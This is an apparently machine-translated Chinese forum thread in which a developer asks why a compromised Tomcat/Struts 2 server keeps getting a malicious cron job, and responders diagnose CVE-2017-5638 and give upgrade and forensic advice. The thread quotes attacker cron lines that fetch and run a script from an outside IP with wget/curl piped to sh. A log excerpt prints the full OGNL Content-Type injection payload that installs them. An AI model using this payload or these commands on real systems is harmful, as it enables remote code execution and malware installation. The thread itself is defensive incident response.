在Apache Tomcat服务器上运行项目战时,我发现服务器已经被入侵。
在未知的cron上运行战争就像这样运行
[root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh
下载的logo.jpg有一个正在下载恶意软件的shell脚本。
我在下面的网站上发现了类似的问题
和
https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux
我无法在整个代码中find此cron作业调度程序的来源。
这个cron工作
我想知道有没有人遇到这个问题? 我该如何去寻找代码中cron作业的起源。
注意:
我正在开发一个JAVA(Struts 2)+ jsp + javascript + jquery web项目。
每当我用项目的war文件启动我的tomcat时,这个cron作业就会运行,但是我无法在我的代码中find任何cron作业的调度器。
我在我的日志文件中find了以下行
[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir [DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication [WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -'). (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908) at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331) at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81) at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779) at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134) at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) [DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException] [DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts] [DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult
在OP添加日志之后,很明显,问题在于Struts 2( CVE-2017-5638 )的远程执行代码漏洞 。
一些额外的链接:
解决scheme是将您的Struts升级到版本2.3.32或2.5.10.1。
我以前遇到类似的问题时,我是系统pipe理员。 我想你必须明确,如果它是你的Tomcat服务器或Java应用程序。
当你启动tomcat没有“受感染的Java应用程序”是cron获取启用? (我的意思是,从Tomcat中删除你的应用程序并启动它)如果是这样,那么你有更大的问题,你需要validation在Tomcat服务器上部署的启动脚本和每个应用程序。
否则,我们确信你的应用程序是问题。
如果是这样的话:
$CATALINA_BASE/webapps/your_app
validation您的应用程序的完整性,有没有其他的文件,你不承认?
现在进入tomcat安装的webapps目录:
$CATALINA_BASE/webapps/
在该目录中执行:
grep -R '91.230.47.40' *
要find可能导致感染的文件/行代码,它可能是您的应用程序的文件或新的。
你有你的代码在CSV系统?
从您的CSV回购从受感染的服务器外部构build战争文件,并执行:
md5sum your_app.war
从tomcat服务器上删除你的应用程序并重新部署,通过md5validation你正在上传正确的war,然后检查crontab是否被调用。
如果您提供有关此步骤的反馈意见,我将很乐意提供帮助。
我们只需要在服务器上对抗这种攻击,就像上面所描述的那样,我们不断重启为我们的tomcat用户重写crontab。 IP地址是相同的。 整个webapps目录的IP地址grep没有揭示罪魁祸首。
在我们的例子中,我们不使用struts,但是我们在webapps中有“host-manager”和“manager”的应用程序,并且我们已经启用了JMX / port。 没有那些似乎已经解决了重新启动,所以我的直觉是,脆弱性可能在其中之一。 特别是在7.0.73中修复了一个JMX漏洞,可能是我们的罪魁祸首( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 )。
我们现在正在采取的另一个预防措施是将wget和chmod的访问权限限制为root(只对这些二进制文件执行chmod 770)。